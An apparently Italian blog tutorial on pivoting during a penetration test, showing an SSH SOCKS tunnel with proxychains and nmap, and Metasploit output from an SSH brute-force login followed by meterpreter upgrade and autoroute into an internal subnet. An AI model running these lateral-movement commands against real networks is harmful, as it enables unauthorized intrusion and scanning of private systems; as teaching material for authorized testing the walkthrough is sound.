Durante un Penetration test è possibile che, dopo esser riusciti ad ottenere i privilegi di amministrazione su un host, esso abbia accesso ad una rete interna non accessibile dall’esterno. Non potendo fare scansioni in modo diretto, bisogna fare in modo di usare la propria macchina per identificare gli altri host presenti e le possibili vulnerabilità che potrebbero avere.
La tecnica da utilizzare viene detta Port Forwarding, ed è, citando Wikipedia, l’operazione che permette il trasferimento di dati da un computer ad un’altro tramite una specifica porta di comunicazione. Ci sono diverse tipologie di port forwarding, tra le quali:
Per eseguire l’operazione ci possono essere diversi modi, vediamone un paio
Creare un tunnel tramite ssh è la via più semplice e comoda in quanto, una volta aperto, tramite proxy sarà possibile accedere a tutta la rete interna. Il comando è
ssh -f -N -D 9050 username@indirizzo_IP
dove:
Prima di eseguirlo, si deve usare un tool come proxychains per instradare tutte le connessioni verso quella porta. Per configurarlo, basta modificare il file apposito ed inserire la porta scelta nello scorso comando (dovrebbe essere in /etc/proxychains.conf).
Una volta configurato si può lanciare il comando ssh. Per verificare che tutto sia andato a buon fine, basta provare ad eseguire un comando verso un indirizzo interno di quella rete.
Ora tutti i programmi che supportano una connessione tramite un proxy socks4 potranno essere utilizzati con gli IP privati. Ad esempio si potrà utilizzare nmap per scansionare la rete interna (andrà sicuramente più lento rispetto ad una scansione normale)
proxychains nmap -sTV -p80 -Pn -T4 10.200.0.33
Sebbene io non ami particolarmente l’automatizzazione di metasploit, in questo caso può venirci particolarmente utile, poichè potremo utilizzare i suoi script anche in una rete interna. Nel seguente esempio, prenderò il caso in cui, dopo un bruteforce, ci rendiamo conto che l’host compromesso appartiene ad un’altra rete interna.
msf auxiliary(scanner/ssh/ssh_login) > run
[+] 192.168.200.225:22 - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux phpcgi 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (192.168.200.50:41929 -> 192.168.200.225:22) at 2018-07-29 22:14:59 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Per prima cosa, ottieniamo una shell meterpreter con il comando
sessions -u 1
in maniera tale da aver più controllo sulla macchina appena compromessa
Come si può vedere nello screenshot l’indirizzo IP della macchina compromessa è privato. Vediamo ora di creare un port forwarding ed utilizzarlo a nostro favore.
msf exploit(multi/handler) > use post/multi/manage/autoroute
msf post(multi/manage/autoroute) > set subnet 10.200.0.1
subnet => 10.200.0.1
msf post(multi/manage/autoroute) > set session 2
session => 2
msf post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module.
[*] Running module against 10.200.0.33
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.200.0.0/24 from host's routing table.
[*] Post module execution completed
Ed ecco che ora abbiamo creato un percorso diretto verso la rete interna! Se ora volessimo scansionare un host interno alla rete, basterà usare i classici moduli di metasploit
Non è cosi raro incontrare situazioni di questo tipo, ed è sempre un bene riuscire a trovare la manovra giusta da eseguire per potersi spostare nella rete e trovare altri host vulnerabili. Se l’articolo non è abbastanza chiaro, consiglio la guida di Offensive Security e Explore Hidden Networks with double pivoting.